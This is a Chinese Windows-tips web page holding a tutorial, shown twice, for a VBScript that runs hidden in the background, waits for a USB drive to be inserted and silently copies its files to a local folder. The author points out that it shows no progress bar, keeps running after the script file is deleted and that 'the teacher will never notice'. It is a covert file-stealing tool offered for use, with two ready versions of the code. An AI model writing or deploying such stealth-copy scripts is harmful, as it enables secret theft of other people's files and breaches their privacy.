x

Windows 7 旗舰版下载

微软经典Windows操作系统,办公一族得力助手

立即下载,安装Windows7

下载 立即下载
查看视频教程

Windows10专业版下载

办公主流Windows 操作系统,让工作更稳定

立即下载,安装Windows 10系统

下载 立即下载
查看视频教程

Windows 11 专业版下载

微软全新Windows 操作系统,现代化UI更漂亮

立即下载,安装Windows 11 系统

下载 立即下载
查看视频教程

系统之家一键重装软件下载

永久免费的Windows 系统重装工具

立即下载,安装Windows 系统

下载 立即下载
查看视频教程
当前位置:首页 > U盘教程

如何才能插入U盘自动复制

分类:U盘教程   发布时间:2017-03-28 15:07:59

  如何才能插入U盘自动复制呢?最近有不少的学生都向系统之家小编讨要u盘插入自动复制的方法,想要插入U盘自动复制的话,其实总的操作上来说,小编认为是非常简单的。至于你们怎么看u盘插入自动复制步骤,就先看看下面的教程再做分析吧!

  代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行。

  同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样

  如何才能插入U盘自动复制图1

  把下面的代码复制进去

  set fso=createobject("scripting.filesystemobject")

  set ws=createobject("wscript.shell")on error resume nextdowscript.sleep 1000if fso.driveexists("U盘的盘符") thenfso.copyfile "U盘的盘符加*号","要复制到的目录"fso.copyfolder "U盘的盘符加*号","要复制到的目录"wscript.sleep 20000end ifloop

  如何才能插入U盘自动复制图2

  注意标颜色的地方要自己改

  蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:USB代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。

  红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:*代替红色部分,F盘就是f:*,

  第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。

  如何才能插入U盘自动复制图3

  复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。

  如何才能插入U盘自动复制图4

  如何才能插入U盘自动复制图5

  后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了

  要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。

  另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···

  更新:

  现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可

  set fso=createobject("scripting.filesystemobject")set ws=createobject("wscript.shell")dim USB, file, folder, filesUSB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F")folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:","请输入复制到的文件夹","C:USB")files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")USB=USB & ":"folder=folder & ""if files="ALL"thenfile=USB & "*"else file=USB & "*." & filesend ifif FSO.FolderExists(folder) thenelseFSO.CreateFolder(folder)end ifon error resume nextdowscript.sleep 1000if fso.driveexists(USB) thenfso.copyfile file,folderfso.copyfolder file,folderwscript.sleep 20000end ifloop

  综上所述的全部内容就是相关如何才能插入U盘自动复制了,只要你们按照小编上述提供的u盘插入自动复制方法的全部内容了,如果你有需要的话,现在学习u盘插入自动复制步骤还不算太迟的哦!希望小编提供的教程你们能够喜欢,也能够帮助到你们!更多的安装系统下载安装u盘教程,记得关注小编的资讯!

有用
+
分享到:
关闭
微信暂不支持直接分享,使用“扫一扫”或复制当前链接即可将网页分享给好友或朋友圈。
热门搜索
win10激活工具
当前位置 当前位置:首页 > U盘教程

如何才能插入U盘自动复制

2017-03-28 15:07:59   来源: windows10系统之家    作者:爱win10

  如何才能插入U盘自动复制呢?最近有不少的学生都向系统之家小编讨要u盘插入自动复制的方法,想要插入U盘自动复制的话,其实总的操作上来说,小编认为是非常简单的。至于你们怎么看u盘插入自动复制步骤,就先看看下面的教程再做分析吧!

  代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行。

  同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样

  如何才能插入U盘自动复制图1

  把下面的代码复制进去

  set fso=createobject("scripting.filesystemobject")

  set ws=createobject("wscript.shell")on error resume nextdowscript.sleep 1000if fso.driveexists("U盘的盘符") thenfso.copyfile "U盘的盘符加*号","要复制到的目录"fso.copyfolder "U盘的盘符加*号","要复制到的目录"wscript.sleep 20000end ifloop

  如何才能插入U盘自动复制图2

  注意标颜色的地方要自己改

  蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:USB代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。

  红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:*代替红色部分,F盘就是f:*,

  第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。

  如何才能插入U盘自动复制图3

  复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。

  如何才能插入U盘自动复制图4

  如何才能插入U盘自动复制图5

  后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了

  要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。

  另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···

  更新:

  现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可

  set fso=createobject("scripting.filesystemobject")set ws=createobject("wscript.shell")dim USB, file, folder, filesUSB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F")folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:","请输入复制到的文件夹","C:USB")files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")USB=USB & ":"folder=folder & ""if files="ALL"thenfile=USB & "*"else file=USB & "*." & filesend ifif FSO.FolderExists(folder) thenelseFSO.CreateFolder(folder)end ifon error resume nextdowscript.sleep 1000if fso.driveexists(USB) thenfso.copyfile file,folderfso.copyfolder file,folderwscript.sleep 20000end ifloop

  综上所述的全部内容就是相关如何才能插入U盘自动复制了,只要你们按照小编上述提供的u盘插入自动复制方法的全部内容了,如果你有需要的话,现在学习u盘插入自动复制步骤还不算太迟的哦!希望小编提供的教程你们能够喜欢,也能够帮助到你们!更多的安装系统下载安装u盘教程,记得关注小编的资讯!

标签:
插入U盘自动复制u盘插入自动复制

本站资源均收集于互联网,其著作权归原作者所有,如果有侵犯您权利的资源,请来信告知,我们将及时撒销相应资源。

Windows系统之家为大家提供一个绿色的平台 Copyright © 2013-2024 www.163987.com 版权所有 粤ICP备19111771号-8 粤公网安备 44130202001061号

微信公众号 公众号

扫码关注微信公众号

扫一扫 生活更美好

微信公众号
客服 客服